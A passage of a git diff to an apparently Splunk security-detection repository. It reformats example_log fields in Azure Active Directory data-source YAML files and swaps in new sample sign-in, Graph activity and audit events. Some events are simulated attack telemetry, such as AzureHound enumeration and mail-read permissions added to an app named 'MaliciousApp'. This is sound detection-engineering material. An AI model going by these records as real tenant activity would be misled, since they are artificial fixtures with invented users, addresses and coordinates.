"2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"} diff --git a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml index 3a1bcca57c..146006b4c4 100644 --- a/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml +++ b/data_sources/azure_active_directory_noninteractiveusersigninlogs.yml @@ -87,4 +87,5 @@ fields: - user_id - vendor_account - vendor_product -example_log: '{"time": "2023-01-12T19:22:14.5285742Z", "resourceId": "/tenants/95d19bda-09de-4d93-b7ae-acecd1e68186/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "NonInteractiveUserSignInLogs", "tenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "resultType": "0", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "34.1.3.194", "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "identity": "User30", "Level": 4, "location": "US", "properties": {"id": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "createdDateTime": "2023-01-12T19:22:14.5285742+00:00", "userDisplayName": "User30", "userPrincipalName": "user30@splunkresearch.com", "userId": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "appId": "4765445b-32c6-49b0-83e6-1d93765276ca", "appDisplayName": "OfficeHome", "ipAddress": "34.1.3.194", "status": {"errorCode": 0, "additionalDetails": "MFA requirement satisfied by claim in the token"}, "clientAppUsed": "Browser", "deviceDetail": {"deviceId": "", "operatingSystem": "Windows", "browser": "Rich Client 4.43.0.0"}, "location": {"city": "Boardman", "state": "Oregon", "countryOrRegion": "US", "geoCoordinates": {"latitude": 45.73722839355469, "longitude": -119.81143188476562}}, "mfaDetail": {}, "correlationId": "fc78e38c-1e61-4be3-b47d-f3e6a9724a65", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [{"id": "SecurityDefaults", "displayName": "Security Defaults", "enforcedGrantControls": [], "enforcedSessionControls": [], "result": "success", "conditionsSatisfied": 3, "conditionsNotSatisfied": 0}], "authenticationContextClassReferences": [], "originalRequestId": "0f94f5fb-3583-4c46-9bfa-0390c1988800", "isInteractive": false, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Oauth Scope Info", "value": "[\"OfficeHome.All\"]"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 192, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "OfficeHome", "resourceId": "4765445b-32c6-49b0-83e6-1d93765276ca", "resourceTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "homeTenantId": "95d19bda-09de-4d93-b7ae-acecd1e68186", "authenticationDetails": [{"authenticationStepDateTime": "2023-01-12T19:22:14.5285742+00:00", "authenticationMethod": "Previously satisfied", "succeeded": true, "authenticationStepResultDetail": "MFA requirement satisfied by claim in the token", "authenticationStepRequirement": "Primary authentication"}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "authenticationRequirement": "multiFactorAuthentication", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 16509, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "-_WUD4M1Rkyb-gOQwZiIAA", "authenticationStrengths": [], "incomingTokenType": "primaryRefreshToken", "authenticationProtocol": "none", "appServicePrincipalId": null, "resourceServicePrincipalId": null, "rngcStatus": 0}}' +example_log: | + {"time": "2024-04-30T01:22:46.4948958Z", "resourceId": "/TENANTS/225E05A1-5914-4688-A404-7030E60F3143/PROVIDERS/MICROSOFT.AADIAM", "operationName": "Microsoft Graph Activity", "operationVersion": "beta", "category": "MicrosoftGraphActivityLogs", "resultSignature": "200", "durationMs": "948894", "callerIpAddress": "45.83.145.6", "correlationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "level": "Informational", "location": "East US 2", "properties": {"__UDI_RequiredFields_TenantId": "225e05a1-5914-4688-a404-7030e60f3143", "__UDI_RequiredFields_UniqueId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "__UDI_RequiredFields_EventTime": 638500369660000000, "__UDI_RequiredFields_RegionScope": "NA", "timeGenerated": "2024-04-30T01:22:46.4948958Z", "location": "East US 2", "requestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "operationId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "clientRequestId": "8fb849dd-2abe-4c3e-b202-d71af8d1555b", "apiVersion": "beta", "requestMethod": "GET", "responseStatusCode": 200, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143", "durationMs": 948894, "responseSizeBytes": 91, "signInActivityId": "KRsphQ_4s0-oHv_Br8qSAQ", "roles": "", "appId": "1950a258-227b-4e31-a9cf-717495945fc2", "UserPrincipalObjectID": "7b934539-7366-494e-a8ac-3517694d32db", "scopes": "AuditLog.Read.All Directory.AccessAsUser.All email openid profile", "identityProvider": "", "clientAuthMethod": "0", "wids": "b79fbf4d-3ef9-4689-8143-76b194e85509", "C_Idtyp": "user", "C_Iat": "1714439850", "ipAddress": "45.83.145.6", "userAgent": "azurehound/v2.1.8", "requestUri": "https://graph.microsoft.com/beta/servicePrincipals/ffe3e001-d8cf-43a4-89ab-bfce35fd7786/owners?%24top=999", "userId": "7b934539-7366-494e-a8ac-3517694d32db", "tokenIssuedAt": "2024-04-30T01:17:30.0000000Z"}, "tenantId": "225e05a1-5914-4688-a404-7030e60f3143"} diff --git a/data_sources/azure_active_directory_reset_password_(by_admin).yml b/data_sources/azure_active_directory_reset_password_(by_admin).yml index 0452018473..e34a4e6120 100644 --- a/data_sources/azure_active_directory_reset_password_(by_admin).yml +++ b/data_sources/azure_active_directory_reset_password_(by_admin).yml @@ -107,4 +107,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:55.0648789Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Reset password (by admin)", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "resultDescription": "None", "durationMs": 0, "callerIpAddress": "40.81.4.144", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "Level": 4, "properties": {"id": "SSPR_724ff6ae-0f36-4f2f-a20f-f043e0c73006_P1CQE_8605821", "category": "UserManagement", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "result": "success", "resultReason": "None", "activityDisplayName": "Reset password (by admin)", "activityDateTime": "2023-07-24T14:28:55.0648789+00:00", "loggedByService": "Self-service Password Management", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "40.81.4.144", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": "test", "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "OnPremisesAgent", "value": "None"}]}}' +example_log: | + {"time": "2023-07-24T14:28:55.0648789Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Reset password (by admin)", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "resultDescription": "None", "durationMs": 0, "callerIpAddress": "40.81.4.144", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "Level": 4, "properties": {"id": "SSPR_724ff6ae-0f36-4f2f-a20f-f043e0c73006_P1CQE_8605821", "category": "UserManagement", "correlationId": "724ff6ae-0f36-4f2f-a20f-f043e0c73006", "result": "success", "resultReason": "None", "activityDisplayName": "Reset password (by admin)", "activityDateTime": "2023-07-24T14:28:55.0648789+00:00", "loggedByService": "Self-service Password Management", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "40.81.4.144", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": "test", "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "OnPremisesAgent", "value": "None"}]}} diff --git a/data_sources/azure_active_directory_set_domain_authentication.yml b/data_sources/azure_active_directory_set_domain_authentication.yml index 864b54a231..81724e9e7f 100644 --- a/data_sources/azure_active_directory_set_domain_authentication.yml +++ b/data_sources/azure_active_directory_set_domain_authentication.yml @@ -101,4 +101,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-26T13:44:59.0372448Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Set domain authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "Level": 4, "properties": {"id": "Directory_57e60ecc-17b8-4ab5-815e-d538e1ca32a4_XDHHZ_434456733", "category": "DirectoryManagement", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:44:59.0372448+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}}' +example_log: | + {"time": "2023-07-26T13:44:59.0372448Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Set domain authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "Level": 4, "properties": {"id": "Directory_57e60ecc-17b8-4ab5-815e-d538e1ca32a4_XDHHZ_434456733", "category": "DirectoryManagement", "correlationId": "57e60ecc-17b8-4ab5-815e-d538e1ca32a4", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:44:59.0372448+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}} diff --git a/data_sources/azure_active_directory_sign_in_activity.yml b/data_sources/azure_active_directory_sign_in_activity.yml index ed78646483..0079fa8726 100644 --- a/data_sources/azure_active_directory_sign_in_activity.yml +++ b/data_sources/azure_active_directory_sign_in_activity.yml @@ -157,4 +157,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-24T20:13:31.4449614Z", "resourceId": "/tenants/887c9144-28b8-431b-885b-764fdeefcf62/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "SignInLogs", "tenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "resultType": "50076", "resultSignature": "None", "resultDescription": "Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access the resource.", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "1f577997-0710-4bd4-848e-5854f748f7dc", "identity": "user15", "Level": 4, "location": "US", "properties": {"id": "22608a25-1d9b-44b5-b0f2-cb94f06b2d00", "createdDateTime": "2023-10-24T20:01:11.9490387+00:00", "userDisplayName": "user15", "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "userId": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "appId": "1b730954-1685-4b74-9bfd-dac224a7b894", "appDisplayName": "Azure Active Directory PowerShell", "ipAddress": "1.2.3.4", "status": {"errorCode": 50076, "failureReason": "Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access the resource.", "additionalDetails": "MFA required in Azure AD"}, "clientAppUsed": "Mobile Apps and Desktop clients", "userAgent": "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428", "deviceDetail": {"deviceId": "", "operatingSystem": "Windows"}, "location": {"city": "Rochester", "state": "New York", "countryOrRegion": "US", "geoCoordinates": {"latitude": 20.756160123483984, "longitude": -73.99697875976562}}, "mfaDetail": {}, "correlationId": "1f577997-0710-4bd4-848e-5854f748f7dc", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [], "authenticationContextClassReferences": [], "originalRequestId": "22608a25-1d9b-44b5-b0f2-cb94f06b2d00", "isInteractive": true, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 72, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Windows Azure Active Directory", "resourceId": "00000002-0000-0000-c000-000000000000", "resourceTenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "homeTenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "tenantId": "887c9144-28b8-431b-885b-764fdeefcf62", "authenticationDetails": [{"authenticationStepDateTime": "2023-10-24T20:01:11.9490387+00:00", "authenticationMethod": "Password", "authenticationMethodDetail": "Password in the cloud", "succeeded": true, "authenticationStepResultDetail": "Correct password", "authenticationStepRequirement": "Primary authentication", "StatusSequence": 0, "RequestSequence": 1}, {"authenticationStepDateTime": "2023-10-24T20:01:11.9490387+00:00", "succeeded": false, "authenticationStepResultDetail": "MFA required in Azure AD", "authenticationStepRequirement": "Primary authentication"}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "sessionLifetimePolicies": [], "authenticationRequirement": "multiFactorAuthentication", "alternateSignInName": "user15@splunkresearch.onmicrosoft.com", "signInIdentifier": "user15@splunkresearch.onmicrosoft.com", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 12271, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "JYpgIpsdtUSw8suU8GstAA", "authenticationStrengths": [], "incomingTokenType": "none", "authenticationProtocol": "ropc", "appServicePrincipalId": null, "resourceServicePrincipalId": "56ad242f-e13b-47fc-8de8-19e3bf6f6575", "rngcStatus": 0, "signInTokenProtectionStatus": "none", "originalTransferMethod": "none"}}' +example_log: | + {"time": "2023-10-30T15:45:23.4912263Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Sign-in activity", "operationVersion": "1.0", "category": "SignInLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultType": "50140", "resultSignature": "None", "resultDescription": "This error occurred due to 'Keep me signed in' interrupt when the user was signing-in.", "durationMs": 0, "callerIpAddress": "120.1.121.35", "correlationId": "3fa4b922-8482-fadf-ef18-4296af064abb", "identity": "user15", "Level": 4, "location": "US", "properties": {"id": "a2bee7fa-c0ef-4108-914b-1bc731a05700", "createdDateTime": "2023-10-30T15:41:14.534616+00:00", "userDisplayName": "user15", "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "userId": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "appId": "00000002-0000-0ff1-ce00-000000000000", "appDisplayName": "Office 365 Exchange Online", "ipAddress": "120.1.121.35", "status": {"errorCode": 50140, "failureReason": "This error occurred due to 'Keep me signed in' interrupt when the user was signing-in.", "additionalDetails": "MFA completed in Azure AD"}, "clientAppUsed": "Browser", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "deviceDetail": {"deviceId": "", "operatingSystem": "MacOs", "browser": "Chrome 118.0.0"}, "location": {"city": "Ohio", "state": "Ohio", "countryOrRegion": "US", "geoCoordinates": {"latitude": 85.75616073608398, "longitude": -48.996978759765625}}, "mfaDetail": {"authMethod": "Mobile app notification"}, "correlationId": "3fa4b922-8482-fadf-ef18-4296af064abb", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [], "authenticationContextClassReferences": [], "originalRequestId": "a2bee7fa-c0ef-4108-914b-1bc731a05700", "isInteractive": true, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Login Hint Present", "value": "True"}, {"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 106, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Office 365 Exchange Online", "resourceId": "00000002-0000-0ff1-ce00-000000000000", "resourceTenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "homeTenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "authenticationDetails": [{"authenticationStepDateTime": "2023-10-30T15:41:14.534616+00:00", "authenticationMethod": "Password", "authenticationMethodDetail": "Password in the cloud", "succeeded": true, "authenticationStepRequirement": "Primary authentication", "StatusSequence": 0, "RequestSequence": 1}, {"authenticationStepDateTime": "2023-10-30T15:41:14+00:00", "authenticationMethod": "Mobile app notification", "succeeded": true, "authenticationStepResultDetail": "MFA successfully completed", "authenticationStepRequirement": "Primary authentication", "StatusSequence": 1698680474164, "RequestSequence": 1698680465025}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "sessionLifetimePolicies": [], "authenticationRequirement": "multiFactorAuthentication", "alternateSignInName": "user15@splunkresearch.onmicrosoft.com", "signInIdentifier": "user15@splunkresearch.onmicrosoft.com", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 12271, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "-ue-ou_ACEGRSxvHMaBXAA", "authenticationStrengths": [], "incomingTokenType": "none", "authenticationProtocol": "none", "appServicePrincipalId": null, "resourceServicePrincipalId": "8429eb5c-faeb-4ade-8eac-acc003790769", "rngcStatus": 0, "signInTokenProtectionStatus": "none", "originalTransferMethod": "none"}} diff --git a/data_sources/azure_active_directory_update_application.yml b/data_sources/azure_active_directory_update_application.yml index abc6b87617..0ef9bf5f4d 100644 --- a/data_sources/azure_active_directory_update_application.yml +++ b/data_sources/azure_active_directory_update_application.yml @@ -106,4 +106,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-01-29T21:31:03.0102031Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Update application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "a5396d2b-fcf6-41e7-9219-c6239f1298e3", "Level": 4, "properties": {"id": "Directory_a5396d2b-fcf6-41e7-9219-c6239f1298e3_DGBDP_1548236", "category": "ApplicationManagement", "correlationId": "a5396d2b-fcf6-41e7-9219-c6239f1298e3", "result": "success", "resultReason": "", "activityDisplayName": "Update application", "activityDateTime": "2024-01-29T21:31:03.0102031+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "user30@splunkresearch.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "75924835-d844-4947-96ba-18074e997386", "displayName": "MaliciousApp", "type": "Application", "modifiedProperties": [{"displayName": "RequiredResourceAccess", "oldValue": "[{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]", "newValue": "[{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"RequiredResourceAccess\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "867f0d29-0eab-4017-b691-c4713cc7d7b0"}]}}' +example_log: | + {"time": "2024-01-30T15:24:59.2810533Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Update application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "Level": 4, "properties": {"id": "Directory_5e800cf4-1869-4a9c-81c1-55ffa81d7ec1_W8TAT_9432874", "category": "ApplicationManagement", "correlationId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "result": "success", "resultReason": "", "activityDisplayName": "Update application", "activityDateTime": "2024-01-30T15:24:59.2810533+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "user30@splunkresearch.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "75924835-d844-4947-96ba-18074e997386", "displayName": "STRT_ReadEmail", "type": "Application", "modifiedProperties": [{"displayName": "RequiredResourceAccess", "oldValue": "[{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]", "newValue": "[{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"06b708a9-e830-4db3-a914-8e69da51d44f\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"RequiredResourceAccess\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "867f0d29-0eab-4017-b691-c4713cc7d7b0"}]}} diff --git a/data_sources/azure_active_directory_update_authorization_policy.yml b/data_sources/azure_active_directory_update_authorization_policy.yml index 1202e9e14c..d7c5e87d2c 100644 --- a/data_sources/azure_active_directory_update_authorization_policy.yml +++ 